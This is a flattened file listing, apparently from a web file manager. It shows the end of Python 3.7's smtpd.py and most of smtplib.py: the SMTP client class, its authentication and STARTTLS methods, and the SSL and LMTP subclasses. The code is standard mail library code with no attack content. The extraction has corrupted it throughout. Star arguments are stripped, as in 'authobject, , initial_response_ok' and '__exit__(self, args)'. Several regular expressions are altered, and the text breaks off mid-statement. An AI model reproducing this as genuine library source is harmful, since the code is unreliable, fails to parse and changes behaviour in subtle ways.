self).__init__(args, **kwargs) def process_message(self, peer, mailfrom, rcpttos, data): from io import StringIO from Mailman import Utils from Mailman import Message from Mailman import MailList # If the message is to a Mailman mailing list, then we'll invoke the # Mailman script directly, without going through the real smtpd. # Otherwise we'll forward it to the local proxy for disposition. listnames = [] for rcpt in rcpttos: local = rcpt.lower().split('@')[0] # We allow the following variations on the theme # listname # listname-admin # listname-owner # listname-request # listname-join # listname-leave parts = local.split('-') if len(parts) > 2: continue listname = parts[0] if len(parts) == 2: command = parts[1] else: command = '' if not Utils.list_exists(listname) or command not in ( '', 'admin', 'owner', 'request', 'join', 'leave'): continue listnames.append((rcpt, listname, command)) # Remove all list recipients from rcpttos and forward what we're not # going to take care of ourselves. Linear removal should be fine # since we don't expect a large number of recipients. for rcpt, listname, command in listnames: rcpttos.remove(rcpt) # If there's any non-list destined recipients left, print('forwarding recips:', ' '.join(rcpttos), file=DEBUGSTREAM) if rcpttos: refused = self._deliver(mailfrom, rcpttos, data) # TBD: what to do with refused addresses? print('we got refusals:', refused, file=DEBUGSTREAM) # Now deliver directly to the list commands mlists = {} s = StringIO(data) msg = Message.Message(s) # These headers are required for the proper execution of Mailman. All # MTAs in existence seem to add these if the original message doesn't # have them. if not msg.get('from'): msg['From'] = mailfrom if not msg.get('date'): msg['Date'] = time.ctime(time.time()) for rcpt, listname, command in listnames: print('sending message to', rcpt, file=DEBUGSTREAM) mlist = mlists.get(listname) if not mlist: mlist = MailList.MailList(listname, lock=0) mlists[listname] = mlist # dispatch on the type of command if command == '': # post msg.Enqueue(mlist, tolist=1) elif command == 'admin': msg.Enqueue(mlist, toadmin=1) elif command == 'owner': msg.Enqueue(mlist, toowner=1) elif command == 'request': msg.Enqueue(mlist, torequest=1) elif command in ('join', 'leave'): # TBD: this is a hack! if command == 'join': msg['Subject'] = 'subscribe' else: msg['Subject'] = 'unsubscribe' msg.Enqueue(mlist, torequest=1) class Options: setuid = True classname = 'PureProxy' size_limit = None enable_SMTPUTF8 = False def parseargs(): global DEBUGSTREAM try: opts, args = getopt.getopt( sys.argv[1:], 'nVhc:s:du', ['class=', 'nosetuid', 'version', 'help', 'size=', 'debug', 'smtputf8']) except getopt.error as e: usage(1, e) options = Options() for opt, arg in opts: if opt in ('-h', '--help'): usage(0) elif opt in ('-V', '--version'): print(__version__) sys.exit(0) elif opt in ('-n', '--nosetuid'): options.setuid = False elif opt in ('-c', '--class'): options.classname = arg elif opt in ('-d', '--debug'): DEBUGSTREAM = sys.stderr elif opt in ('-u', '--smtputf8'): options.enable_SMTPUTF8 = True elif opt in ('-s', '--size'): try: int_size = int(arg) options.size_limit = int_size except: print('Invalid size: ' + arg, file=sys.stderr) sys.exit(1) # parse the rest of the arguments if len(args) < 1: localspec = 'localhost:8025' remotespec = 'localhost:25' elif len(args) < 2: localspec = args[0] remotespec = 'localhost:25' elif len(args) < 3: localspec = args[0] remotespec = args[1] else: usage(1, 'Invalid arguments: %s' % COMMASPACE.join(args)) # split into host/port pairs i = localspec.find(':') if i < 0: usage(1, 'Bad local spec: %s' % localspec) options.localhost = localspec[:i] try: options.localport = int(localspec[i+1:]) except ValueError: usage(1, 'Bad local port: %s' % localspec) i = remotespec.find(':') if i < 0: usage(1, 'Bad remote spec: %s' % remotespec) options.remotehost = remotespec[:i] try: options.remoteport = int(remotespec[i+1:]) except ValueError: usage(1, 'Bad remote port: %s' % remotespec) return options if __name__ == '__main__': options = parseargs() # Become nobody classname = options.classname if "." in classname: lastdot = classname.rfind(".") mod = __import__(classname[:lastdot], globals(), locals(), [""]) classname = classname[lastdot+1:] else: import __main__ as mod class_ = getattr(mod, classname) proxy = class_((options.localhost, options.localport), (options.remotehost, options.remoteport), options.size_limit, enable_SMTPUTF8=options.enable_SMTPUTF8) if options.setuid: try: import pwd except ImportError: print('Cannot import module "pwd"; try running with -n option.', file=sys.stderr) sys.exit(1) nobody = pwd.getpwnam('nobody')[2] try: os.setuid(nobody) except PermissionError: print('Cannot setuid "nobody"; try running with -n option.', file=sys.stderr) sys.exit(1) try: asyncore.loop() except KeyboardInterrupt: pass	33.91 KB	2024-04-17 17:55
📄 smtplib.py #! /opt/alt/python37/bin/python3.7 '''SMTP/ESMTP client class. This should follow RFC 821 (SMTP), RFC 1869 (ESMTP), RFC 2554 (SMTP Authentication) and RFC 2487 (Secure SMTP over TLS). Notes: Please remember, when doing ESMTP, that the names of the SMTP service extensions are NOT the same thing as the option keywords for the RCPT and MAIL commands! Example: >>> import smtplib >>> s=smtplib.SMTP("localhost") >>> print(s.help()) This is Sendmail version 8.8.4 Topics: HELO EHLO MAIL RCPT DATA RSET NOOP QUIT HELP VRFY EXPN VERB ETRN DSN For more info use "HELP <topic>". To report bugs in the implementation send email to sendmail-bugs@sendmail.org. For local information send email to Postmaster at your site. End of HELP info >>> s.putcmd("vrfy","someone@here") >>> s.getreply() (250, "Somebody OverHere <somebody@here.my.org>") >>> s.quit() ''' # Author: The Dragon De Monsyne <dragondm@integral.org> # ESMTP support, test code and doc fixes added by # Eric S. Raymond <esr@thyrsus.com> # Better RFC 821 compliance (MAIL and RCPT, and CRLF in data) # by Carey Evans <c.evans@clear.net.nz>, for picky mail servers. # RFC 2554 (authentication) support by Gerhard Haering <gerhard@bigfoot.de>. # # This was modified from the Python 1.5 library HTTP lib. import socket import io import re import email.utils import email.message import email.generator import base64 import hmac import copy import datetime import sys from email.base64mime import body_encode as encode_base64 __all__ = ["SMTPException", "SMTPNotSupportedError", "SMTPServerDisconnected", "SMTPResponseException", "SMTPSenderRefused", "SMTPRecipientsRefused", "SMTPDataError", "SMTPConnectError", "SMTPHeloError", "SMTPAuthenticationError", "quoteaddr", "quotedata", "SMTP"] SMTP_PORT = 25 SMTP_SSL_PORT = 465 CRLF = "\r\n" bCRLF = b"\r\n" _MAXLINE = 8192 # more than 8 times larger than RFC 821, 4.5.3 OLDSTYLE_AUTH = re.compile(r"auth=(.)", re.I) # Exception classes used by this module. class SMTPException(OSError): """Base class for all exceptions raised by this module.""" class SMTPNotSupportedError(SMTPException): """The command or option is not supported by the SMTP server. This exception is raised when an attempt is made to run a command or a command with an option which is not supported by the server. """ class SMTPServerDisconnected(SMTPException): """Not connected to any SMTP server. This exception is raised when the server unexpectedly disconnects, or when an attempt is made to use the SMTP instance before connecting it to a server. """ class SMTPResponseException(SMTPException): """Base class for all exceptions that include an SMTP error code. These exceptions are generated in some instances when the SMTP server returns an error code. The error code is stored in the `smtp_code' attribute of the error, and the `smtp_error' attribute is set to the error message. """ def __init__(self, code, msg): self.smtp_code = code self.smtp_error = msg self.args = (code, msg) class SMTPSenderRefused(SMTPResponseException): """Sender address refused. In addition to the attributes set by on all SMTPResponseException exceptions, this sets `sender' to the string that the SMTP refused. """ def __init__(self, code, msg, sender): self.smtp_code = code self.smtp_error = msg self.sender = sender self.args = (code, msg, sender) class SMTPRecipientsRefused(SMTPException): """All recipient addresses refused. The errors for each recipient are accessible through the attribute 'recipients', which is a dictionary of exactly the same sort as SMTP.sendmail() returns. """ def __init__(self, recipients): self.recipients = recipients self.args = (recipients,) class SMTPDataError(SMTPResponseException): """The SMTP server didn't accept the data.""" class SMTPConnectError(SMTPResponseException): """Error during connection establishment.""" class SMTPHeloError(SMTPResponseException): """The server refused our HELO reply.""" class SMTPAuthenticationError(SMTPResponseException): """Authentication error. Most probably the server didn't accept the username/password combination provided. """ def quoteaddr(addrstring): """Quote a subset of the email addresses defined by RFC 821. Should be able to handle anything email.utils.parseaddr can handle. """ displayname, addr = email.utils.parseaddr(addrstring) if (displayname, addr) == ('', ''): # parseaddr couldn't parse it, use it as is and hope for the best. if addrstring.strip().startswith('<'): return addrstring return "<%s>" % addrstring return "<%s>" % addr def _addr_only(addrstring): displayname, addr = email.utils.parseaddr(addrstring) if (displayname, addr) == ('', ''): # parseaddr couldn't parse it, so use it as is. return addrstring return addr # Legacy method kept for backward compatibility. def quotedata(data): """Quote data for email. Double leading '.', and change Unix newline '\\n', or Mac '\\r' into Internet CRLF end-of-line. """ return re.sub(r'(?m)^\.', '..', re.sub(r'(?:\r\n\|\n\|\r(?!\n))', CRLF, data)) def _quote_periods(bindata): return re.sub(br'(?m)^\.', b'..', bindata) def _fix_eols(data): return re.sub(r'(?:\r\n\|\n\|\r(?!\n))', CRLF, data) try: import ssl except ImportError: _have_ssl = False else: _have_ssl = True class SMTP: """This class manages a connection to an SMTP or ESMTP server. SMTP Objects: SMTP objects have the following attributes: helo_resp This is the message given by the server in response to the most recent HELO command. ehlo_resp This is the message given by the server in response to the most recent EHLO command. This is usually multiline. does_esmtp This is a True value _after you do an EHLO command_, if the server supports ESMTP. esmtp_features This is a dictionary, which, if the server supports ESMTP, will _after you do an EHLO command_, contain the names of the SMTP service extensions this server supports, and their parameters (if any). Note, all extension names are mapped to lower case in the dictionary. See each method's docstrings for details. In general, there is a method of the same name to perform each SMTP command. There is also a method called 'sendmail' that will do an entire mail transaction. """ debuglevel = 0 file = None helo_resp = None ehlo_msg = "ehlo" ehlo_resp = None does_esmtp = 0 default_port = SMTP_PORT def __init__(self, host='', port=0, local_hostname=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, source_address=None): """Initialize a new instance. If specified, `host' is the name of the remote host to which to connect. If specified, `port' specifies the port to which to connect. By default, smtplib.SMTP_PORT is used. If a host is specified the connect method is called, and if it returns anything other than a success code an SMTPConnectError is raised. If specified, `local_hostname` is used as the FQDN of the local host in the HELO/EHLO command. Otherwise, the local hostname is found using socket.getfqdn(). The `source_address` parameter takes a 2-tuple (host, port) for the socket to bind to as its source address before connecting. If the host is '' and port is 0, the OS default behavior will be used. """ self._host = host self.timeout = timeout self.esmtp_features = {} self.command_encoding = 'ascii' self.source_address = source_address if host: (code, msg) = self.connect(host, port) if code != 220: self.close() raise SMTPConnectError(code, msg) if local_hostname is not None: self.local_hostname = local_hostname else: # RFC 2821 says we should use the fqdn in the EHLO/HELO verb, and # if that can't be calculated, that we should use a domain literal # instead (essentially an encoded IP address like [A.B.C.D]). fqdn = socket.getfqdn() if '.' in fqdn: self.local_hostname = fqdn else: # We can't find an fqdn hostname, so use a domain literal addr = '127.0.0.1' try: addr = socket.gethostbyname(socket.gethostname()) except socket.gaierror: pass self.local_hostname = '[%s]' % addr def __enter__(self): return self def __exit__(self, args): try: code, message = self.docmd("QUIT") if code != 221: raise SMTPResponseException(code, message) except SMTPServerDisconnected: pass finally: self.close() def set_debuglevel(self, debuglevel): """Set the debug output level. A non-false value results in debug messages for connection and for all messages sent to and received from the server. """ self.debuglevel = debuglevel def _print_debug(self, args): if self.debuglevel > 1: print(datetime.datetime.now().time(), args, file=sys.stderr) else: print(args, file=sys.stderr) def _get_socket(self, host, port, timeout): # This makes it simpler for SMTP_SSL to use the SMTP connect code # and just alter the socket connection bit. if self.debuglevel > 0: self._print_debug('connect: to', (host, port), self.source_address) return socket.create_connection((host, port), timeout, self.source_address) def connect(self, host='localhost', port=0, source_address=None): """Connect to a host on a given port. If the hostname ends with a colon (`:') followed by a number, and there is no port specified, that suffix will be stripped off and the number interpreted as the port number to use. Note: This method is automatically invoked by __init__, if a host is specified during instantiation. """ if source_address: self.source_address = source_address if not port and (host.find(':') == host.rfind(':')): i = host.rfind(':') if i >= 0: host, port = host[:i], host[i + 1:] try: port = int(port) except ValueError: raise OSError("nonnumeric port") if not port: port = self.default_port if self.debuglevel > 0: self._print_debug('connect:', (host, port)) self.sock = self._get_socket(host, port, self.timeout) self.file = None (code, msg) = self.getreply() if self.debuglevel > 0: self._print_debug('connect:', repr(msg)) return (code, msg) def send(self, s): """Send `s' to the server.""" if self.debuglevel > 0: self._print_debug('send:', repr(s)) if hasattr(self, 'sock') and self.sock: if isinstance(s, str): # send is used by the 'data' command, where command_encoding # should not be used, but 'data' needs to convert the string to # binary itself anyway, so that's not a problem. s = s.encode(self.command_encoding) try: self.sock.sendall(s) except OSError: self.close() raise SMTPServerDisconnected('Server not connected') else: raise SMTPServerDisconnected('please run connect() first') def putcmd(self, cmd, args=""): """Send a command to the server.""" if args == "": s = cmd else: s = f'{cmd} {args}' if '\r' in s or '\n' in s: s = s.replace('\n', '\\n').replace('\r', '\\r') raise ValueError( f'command and arguments contain prohibited newline characters: {s}' ) self.send(f'{s}{CRLF}') def getreply(self): """Get a reply from the server. Returns a tuple consisting of: - server response code (e.g. '250', or such, if all goes well) Note: returns -1 if it can't read response code. - server response string corresponding to response code (multiline responses are converted to a single, multiline string). Raises SMTPServerDisconnected if end-of-file is reached. """ resp = [] if self.file is None: self.file = self.sock.makefile('rb') while 1: try: line = self.file.readline(_MAXLINE + 1) except OSError as e: self.close() raise SMTPServerDisconnected("Connection unexpectedly closed: " + str(e)) if not line: self.close() raise SMTPServerDisconnected("Connection unexpectedly closed") if self.debuglevel > 0: self._print_debug('reply:', repr(line)) if len(line) > _MAXLINE: self.close() raise SMTPResponseException(500, "Line too long.") resp.append(line[4:].strip(b' \t\r\n')) code = line[:3] # Check that the error code is syntactically correct. # Don't attempt to read a continuation line if it is broken. try: errcode = int(code) except ValueError: errcode = -1 break # Check if multiline response. if line[3:4] != b"-": break errmsg = b"\n".join(resp) if self.debuglevel > 0: self._print_debug('reply: retcode (%s); Msg: %a' % (errcode, errmsg)) return errcode, errmsg def docmd(self, cmd, args=""): """Send a command, and return its response code.""" self.putcmd(cmd, args) return self.getreply() # std smtp commands def helo(self, name=''): """SMTP 'helo' command. Hostname to send for this command defaults to the FQDN of the local host. """ self.putcmd("helo", name or self.local_hostname) (code, msg) = self.getreply() self.helo_resp = msg return (code, msg) def ehlo(self, name=''): """ SMTP 'ehlo' command. Hostname to send for this command defaults to the FQDN of the local host. """ self.esmtp_features = {} self.putcmd(self.ehlo_msg, name or self.local_hostname) (code, msg) = self.getreply() # According to RFC1869 some (badly written) # MTA's will disconnect on an ehlo. Toss an exception if # that happens -ddm if code == -1 and len(msg) == 0: self.close() raise SMTPServerDisconnected("Server not connected") self.ehlo_resp = msg if code != 250: return (code, msg) self.does_esmtp = 1 #parse the ehlo response -ddm assert isinstance(self.ehlo_resp, bytes), repr(self.ehlo_resp) resp = self.ehlo_resp.decode("latin-1").split('\n') del resp[0] for each in resp: # To be able to communicate with as many SMTP servers as possible, # we have to take the old-style auth advertisement into account, # because: # 1) Else our SMTP feature parser gets confused. # 2) There are some servers that only advertise the auth methods we # support using the old style. auth_match = OLDSTYLE_AUTH.match(each) if auth_match: # This doesn't remove duplicates, but that's no problem self.esmtp_features["auth"] = self.esmtp_features.get("auth", "") \ + " " + auth_match.groups(0)[0] continue # RFC 1869 requires a space between ehlo keyword and parameters. # It's actually stricter, in that only spaces are allowed between # parameters, but were not going to check for that here. Note # that the space isn't present if there are no parameters. m = re.match(r'(?P<feature>[A-Za-z0-9][A-Za-z0-9\-]) ?', each) if m: feature = m.group("feature").lower() params = m.string[m.end("feature"):].strip() if feature == "auth": self.esmtp_features[feature] = self.esmtp_features.get(feature, "") \ + " " + params else: self.esmtp_features[feature] = params return (code, msg) def has_extn(self, opt): """Does the server support a given SMTP service extension?""" return opt.lower() in self.esmtp_features def help(self, args=''): """SMTP 'help' command. Returns help text from server.""" self.putcmd("help", args) return self.getreply()[1] def rset(self): """SMTP 'rset' command -- resets session.""" self.command_encoding = 'ascii' return self.docmd("rset") def _rset(self): """Internal 'rset' command which ignores any SMTPServerDisconnected error. Used internally in the library, since the server disconnected error should appear to the application when the next command is issued, if we are doing an internal "safety" reset. """ try: self.rset() except SMTPServerDisconnected: pass def noop(self): """SMTP 'noop' command -- doesn't do anything :>""" return self.docmd("noop") def mail(self, sender, options=()): """SMTP 'mail' command -- begins mail xfer session. This method may raise the following exceptions: SMTPNotSupportedError The options parameter includes 'SMTPUTF8' but the SMTPUTF8 extension is not supported by the server. """ optionlist = '' if options and self.does_esmtp: if any(x.lower()=='smtputf8' for x in options): if self.has_extn('smtputf8'): self.command_encoding = 'utf-8' else: raise SMTPNotSupportedError( 'SMTPUTF8 not supported by server') optionlist = ' ' + ' '.join(options) self.putcmd("mail", "FROM:%s%s" % (quoteaddr(sender), optionlist)) return self.getreply() def rcpt(self, recip, options=()): """SMTP 'rcpt' command -- indicates 1 recipient for this mail.""" optionlist = '' if options and self.does_esmtp: optionlist = ' ' + ' '.join(options) self.putcmd("rcpt", "TO:%s%s" % (quoteaddr(recip), optionlist)) return self.getreply() def data(self, msg): """SMTP 'DATA' command -- sends message data to server. Automatically quotes lines beginning with a period per rfc821. Raises SMTPDataError if there is an unexpected reply to the DATA command; the return value from this method is the final response code received when the all data is sent. If msg is a string, lone '\\r' and '\\n' characters are converted to '\\r\\n' characters. If msg is bytes, it is transmitted as is. """ self.putcmd("data") (code, repl) = self.getreply() if self.debuglevel > 0: self._print_debug('data:', (code, repl)) if code != 354: raise SMTPDataError(code, repl) else: if isinstance(msg, str): msg = _fix_eols(msg).encode('ascii') q = _quote_periods(msg) if q[-2:] != bCRLF: q = q + bCRLF q = q + b"." + bCRLF self.send(q) (code, msg) = self.getreply() if self.debuglevel > 0: self._print_debug('data:', (code, msg)) return (code, msg) def verify(self, address): """SMTP 'verify' command -- checks for address validity.""" self.putcmd("vrfy", _addr_only(address)) return self.getreply() # a.k.a. vrfy = verify def expn(self, address): """SMTP 'expn' command -- expands a mailing list.""" self.putcmd("expn", _addr_only(address)) return self.getreply() # some useful methods def ehlo_or_helo_if_needed(self): """Call self.ehlo() and/or self.helo() if needed. If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first. This method may raise the following exceptions: SMTPHeloError The server didn't reply properly to the helo greeting. """ if self.helo_resp is None and self.ehlo_resp is None: if not (200 <= self.ehlo()[0] <= 299): (code, resp) = self.helo() if not (200 <= code <= 299): raise SMTPHeloError(code, resp) def auth(self, mechanism, authobject, , initial_response_ok=True): """Authentication command - requires response processing. 'mechanism' specifies which authentication mechanism is to be used - the valid values are those listed in the 'auth' element of 'esmtp_features'. 'authobject' must be a callable object taking a single argument: data = authobject(challenge) It will be called to process the server's challenge response; the challenge argument it is passed will be a bytes. It should return an ASCII string that will be base64 encoded and sent to the server. Keyword arguments: - initial_response_ok: Allow sending the RFC 4954 initial-response to the AUTH command, if the authentication methods supports it. """ # RFC 4954 allows auth methods to provide an initial response. Not all # methods support it. By definition, if they return something other # than None when challenge is None, then they do. See issue #15014. mechanism = mechanism.upper() initial_response = (authobject() if initial_response_ok else None) if initial_response is not None: response = encode_base64(initial_response.encode('ascii'), eol='') (code, resp) = self.docmd("AUTH", mechanism + " " + response) else: (code, resp) = self.docmd("AUTH", mechanism) # If server responds with a challenge, send the response. if code == 334: challenge = base64.decodebytes(resp) response = encode_base64( authobject(challenge).encode('ascii'), eol='') (code, resp) = self.docmd(response) if code in (235, 503): return (code, resp) raise SMTPAuthenticationError(code, resp) def auth_cram_md5(self, challenge=None): """ Authobject to use with CRAM-MD5 authentication. Requires self.user and self.password to be set.""" # CRAM-MD5 does not support initial-response. if challenge is None: return None return self.user + " " + hmac.HMAC( self.password.encode('ascii'), challenge, 'md5').hexdigest() def auth_plain(self, challenge=None): """ Authobject to use with PLAIN authentication. Requires self.user and self.password to be set.""" return "\0%s\0%s" % (self.user, self.password) def auth_login(self, challenge=None): """ Authobject to use with LOGIN authentication. Requires self.user and self.password to be set.""" if challenge is None: return self.user else: return self.password def login(self, user, password, , initial_response_ok=True): """Log in on an SMTP server that requires authentication. The arguments are: - user: The user name to authenticate with. - password: The password for the authentication. Keyword arguments: - initial_response_ok: Allow sending the RFC 4954 initial-response to the AUTH command, if the authentication methods supports it. If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first. This method will return normally if the authentication was successful. This method may raise the following exceptions: SMTPHeloError The server didn't reply properly to the helo greeting. SMTPAuthenticationError The server didn't accept the username/ password combination. SMTPNotSupportedError The AUTH command is not supported by the server. SMTPException No suitable authentication method was found. """ self.ehlo_or_helo_if_needed() if not self.has_extn("auth"): raise SMTPNotSupportedError( "SMTP AUTH extension not supported by server.") # Authentication methods the server claims to support advertised_authlist = self.esmtp_features["auth"].split() # Authentication methods we can handle in our preferred order: preferred_auths = ['CRAM-MD5', 'PLAIN', 'LOGIN'] # We try the supported authentications in our preferred order, if # the server supports them. authlist = [auth for auth in preferred_auths if auth in advertised_authlist] if not authlist: raise SMTPException("No suitable authentication method found.") # Some servers advertise authentication methods they don't really # support, so if authentication fails, we continue until we've tried # all methods. self.user, self.password = user, password for authmethod in authlist: method_name = 'auth_' + authmethod.lower().replace('-', '_') try: (code, resp) = self.auth( authmethod, getattr(self, method_name), initial_response_ok=initial_response_ok) # 235 == 'Authentication successful' # 503 == 'Error: already authenticated' if code in (235, 503): return (code, resp) except SMTPAuthenticationError as e: last_exception = e # We could not login successfully. Return result of last attempt. raise last_exception def starttls(self, keyfile=None, certfile=None, context=None): """Puts the connection to the SMTP server into TLS mode. If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first. If the server supports TLS, this will encrypt the rest of the SMTP session. If you provide the keyfile and certfile parameters, the identity of the SMTP server and client can be checked. This, however, depends on whether the socket module really checks the certificates. This method may raise the following exceptions: SMTPHeloError The server didn't reply properly to the helo greeting. """ self.ehlo_or_helo_if_needed() if not self.has_extn("starttls"): raise SMTPNotSupportedError( "STARTTLS extension not supported by server.") (resp, reply) = self.docmd("STARTTLS") if resp == 220: if not _have_ssl: raise RuntimeError("No SSL support included in this Python") if context is not None and keyfile is not None: raise ValueError("context and keyfile arguments are mutually " "exclusive") if context is not None and certfile is not None: raise ValueError("context and certfile arguments are mutually " "exclusive") if keyfile is not None or certfile is not None: import warnings warnings.warn("keyfile and certfile are deprecated, use a " "custom context instead", DeprecationWarning, 2) if context is None: context = ssl._create_stdlib_context(certfile=certfile, keyfile=keyfile) self.sock = context.wrap_socket(self.sock, server_hostname=self._host) self.file = None # RFC 3207: # The client MUST discard any knowledge obtained from # the server, such as the list of SMTP service extensions, # which was not obtained from the TLS negotiation itself. self.helo_resp = None self.ehlo_resp = None self.esmtp_features = {} self.does_esmtp = 0 else: # RFC 3207: # 501 Syntax error (no parameters allowed) # 454 TLS not available due to temporary reason raise SMTPResponseException(resp, reply) return (resp, reply) def sendmail(self, from_addr, to_addrs, msg, mail_options=(), rcpt_options=()): """This command performs an entire mail transaction. The arguments are: - from_addr : The address sending this mail. - to_addrs : A list of addresses to send this mail to. A bare string will be treated as a list with 1 address. - msg : The message to send. - mail_options : List of ESMTP options (such as 8bitmime) for the mail command. - rcpt_options : List of ESMTP options (such as DSN commands) for all the rcpt commands. msg may be a string containing characters in the ASCII range, or a byte string. A string is encoded to bytes using the ascii codec, and lone \\r and \\n characters are converted to \\r\\n characters. If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first. If the server does ESMTP, message size and each of the specified options will be passed to it. If EHLO fails, HELO will be tried and ESMTP options suppressed. This method will return normally if the mail is accepted for at least one recipient. It returns a dictionary, with one entry for each recipient that was refused. Each entry contains a tuple of the SMTP error code and the accompanying error message sent by the server. This method may raise the following exceptions: SMTPHeloError The server didn't reply properly to the helo greeting. SMTPRecipientsRefused The server rejected ALL recipients (no mail was sent). SMTPSenderRefused The server didn't accept the from_addr. SMTPDataError The server replied with an unexpected error code (other than a refusal of a recipient). SMTPNotSupportedError The mail_options parameter includes 'SMTPUTF8' but the SMTPUTF8 extension is not supported by the server. Note: the connection will be open even after an exception is raised. Example: >>> import smtplib >>> s=smtplib.SMTP("localhost") >>> tolist=["one@one.org","two@two.org","three@three.org","four@four.org"] >>> msg = '''\\ ... From: Me@my.org ... Subject: testin'... ... ... This is a test ''' >>> s.sendmail("me@my.org",tolist,msg) { "three@three.org" : ( 550 ,"User unknown" ) } >>> s.quit() In the above example, the message was accepted for delivery to three of the four addresses, and one was rejected, with the error code 550. If all addresses are accepted, then the method will return an empty dictionary. """ self.ehlo_or_helo_if_needed() esmtp_opts = [] if isinstance(msg, str): msg = _fix_eols(msg).encode('ascii') if self.does_esmtp: if self.has_extn('size'): esmtp_opts.append("size=%d" % len(msg)) for option in mail_options: esmtp_opts.append(option) (code, resp) = self.mail(from_addr, esmtp_opts) if code != 250: if code == 421: self.close() else: self._rset() raise SMTPSenderRefused(code, resp, from_addr) senderrs = {} if isinstance(to_addrs, str): to_addrs = [to_addrs] for each in to_addrs: (code, resp) = self.rcpt(each, rcpt_options) if (code != 250) and (code != 251): senderrs[each] = (code, resp) if code == 421: self.close() raise SMTPRecipientsRefused(senderrs) if len(senderrs) == len(to_addrs): # the server refused all our recipients self._rset() raise SMTPRecipientsRefused(senderrs) (code, resp) = self.data(msg) if code != 250: if code == 421: self.close() else: self._rset() raise SMTPDataError(code, resp) #if we got here then somebody got our mail return senderrs def send_message(self, msg, from_addr=None, to_addrs=None, mail_options=(), rcpt_options=()): """Converts message to a bytestring and passes it to sendmail. The arguments are as for sendmail, except that msg is an email.message.Message object. If from_addr is None or to_addrs is None, these arguments are taken from the headers of the Message as described in RFC 2822 (a ValueError is raised if there is more than one set of 'Resent-' headers). Regardless of the values of from_addr and to_addr, any Bcc field (or Resent-Bcc field, when the Message is a resent) of the Message object won't be transmitted. The Message object is then serialized using email.generator.BytesGenerator and sendmail is called to transmit the message. If the sender or any of the recipient addresses contain non-ASCII and the server advertises the SMTPUTF8 capability, the policy is cloned with utf8 set to True for the serialization, and SMTPUTF8 and BODY=8BITMIME are asserted on the send. If the server does not support SMTPUTF8, an SMTPNotSupported error is raised. Otherwise the generator is called without modifying the policy. """ # 'Resent-Date' is a mandatory field if the Message is resent (RFC 2822 # Section 3.6.6). In such a case, we use the 'Resent-' fields. However, # if there is more than one 'Resent-' block there's no way to # unambiguously determine which one is the most recent in all cases, # so rather than guess we raise a ValueError in that case. # # TODO implement heuristics to guess the correct Resent- block with an # option allowing the user to enable the heuristics. (It should be # possible to guess correctly almost all of the time.) self.ehlo_or_helo_if_needed() resent = msg.get_all('Resent-Date') if resent is None: header_prefix = '' elif len(resent) == 1: header_prefix = 'Resent-' else: raise ValueError("message has more than one 'Resent-' header block") if from_addr is None: # Prefer the sender field per RFC 2822:3.6.2. from_addr = (msg[header_prefix + 'Sender'] if (header_prefix + 'Sender') in msg else msg[header_prefix + 'From']) from_addr = email.utils.getaddresses([from_addr])[0][1] if to_addrs is None: addr_fields = [f for f in (msg[header_prefix + 'To'], msg[header_prefix + 'Bcc'], msg[header_prefix + 'Cc']) if f is not None] to_addrs = [a[1] for a in email.utils.getaddresses(addr_fields)] # Make a local copy so we can delete the bcc headers. msg_copy = copy.copy(msg) del msg_copy['Bcc'] del msg_copy['Resent-Bcc'] international = False try: ''.join([from_addr, to_addrs]).encode('ascii') except UnicodeEncodeError: if not self.has_extn('smtputf8'): raise SMTPNotSupportedError( "One or more source or delivery addresses require" " internationalized email support, but the server" " does not advertise the required SMTPUTF8 capability") international = True with io.BytesIO() as bytesmsg: if international: g = email.generator.BytesGenerator( bytesmsg, policy=msg.policy.clone(utf8=True)) mail_options = (mail_options, 'SMTPUTF8', 'BODY=8BITMIME') else: g = email.generator.BytesGenerator(bytesmsg) g.flatten(msg_copy, linesep='\r\n') flatmsg = bytesmsg.getvalue() return self.sendmail(from_addr, to_addrs, flatmsg, mail_options, rcpt_options) def close(self): """Close the connection to the SMTP server.""" try: file = self.file self.file = None if file: file.close() finally: sock = self.sock self.sock = None if sock: sock.close() def quit(self): """Terminate the SMTP session.""" res = self.docmd("quit") # A new EHLO is required after reconnecting with connect() self.ehlo_resp = self.helo_resp = None self.esmtp_features = {} self.does_esmtp = False self.close() return res if _have_ssl: class SMTP_SSL(SMTP): """ This is a subclass derived from SMTP that connects over an SSL encrypted socket (to use this class you need a socket module that was compiled with SSL support). If host is not specified, '' (the local host) is used. If port is omitted, the standard SMTP-over-SSL port (465) is used. local_hostname and source_address have the same meaning as they do in the SMTP class. keyfile and certfile are also optional - they can contain a PEM formatted private key and certificate chain file for the SSL connection. context also optional, can contain a SSLContext, and is an alternative to keyfile and certfile; If it is specified both keyfile and certfile must be None. """ default_port = SMTP_SSL_PORT def __init__(self, host='', port=0, local_hostname=None, keyfile=None, certfile=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, source_address=None, context=None): if context is not None and keyfile is not None: raise ValueError("context and keyfile arguments are mutually " "exclusive") if context is not None and certfile is not None: raise ValueError("context and certfile arguments are mutually " "exclusive") if keyfile is not None or certfile is not None: import warnings warnings.warn("keyfile and certfile are deprecated, use a " "custom context instead", DeprecationWarning, 2) self.keyfile = keyfile self.certfile = certfile if context is None: context = ssl._create_stdlib_context(certfile=certfile, keyfile=keyfile) self.context = context SMTP.__init__(self, host, port, local_hostname, timeout, source_address) def _get_socket(self, host, port, timeout): if self.debuglevel > 0: self._print_debug('connect:', (host, port)) new_socket = socket.create_connection((host, port), timeout, self.source_address) new_socket = self.context.wrap_socket(new_socket, server_hostname=self._host) return new_socket __all__.append("SMTP_SSL") # # LMTP extension # LMTP_PORT = 2003 class LMTP(SMTP): """LMTP - Local Mail Transfer Protocol The LMTP protocol, which is very similar to ESMTP, is heavily based on the standard SMTP client. It's common to use Unix sockets for LMTP, so our connect() method must support that as well as a regular host:port server. local_hostname and source_address have the same meaning as they do in the SMTP class. To specify a Unix socket, you must use an absolute path as the host, starting with a '/'. Authentication is supported, using the regular SMTP mechanism. When using a Unix socket, LMTP generally don't support or require any authentication, but your mileage might vary.""" ehlo_msg = "lhlo" def __init__(self, host='', port=LMTP_PORT, local_hostname=None, source_address=None): """Initialize a new instance.""" SMTP.__init__(self, host, port, local_hostname=local_hostname, source_address=source_address) def connect(self, host='localhost', port=0, source_address=None): """Connect to the LMTP daemon, on either a Unix or a TCP socket.""" if host[0] != '/': return SMTP.connect(self, host, port, source_address=source_address) # Handle Unix-domain sockets. try: self.sock = 